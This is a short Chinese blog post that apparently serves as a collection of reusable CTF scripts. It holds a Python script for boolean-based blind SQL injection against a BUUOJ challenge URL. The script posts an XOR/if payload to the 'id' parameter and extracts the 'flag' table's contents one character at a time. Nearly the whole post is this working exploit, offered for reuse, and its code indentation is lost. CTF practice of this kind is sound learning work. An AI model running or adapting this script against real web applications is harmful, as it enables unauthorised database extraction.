目录：
第一部分：
布尔盲注类型：
import requests
url="http://32a87616-b3a4-4290-808b-9c3d3e1163d2.node4.buuoj.cn:81/index.php"
for changdu in range(1,100):
for neir in range(0,255):
payload="1^if((ascii(substr((select(flag)from(flag)),"+str(changdu)+",1))="+str(neir)+"),sleep(0),1)"
data={"id":payload}
req=requests.post(url,data=data)
if("Hello" in req.text):
print(chr(neir),end="")
break
标签：脚本,常用,python,req,flag,neir,data,payload From： https://www.cnblogs.com/yiyajinluo/p/16788535.html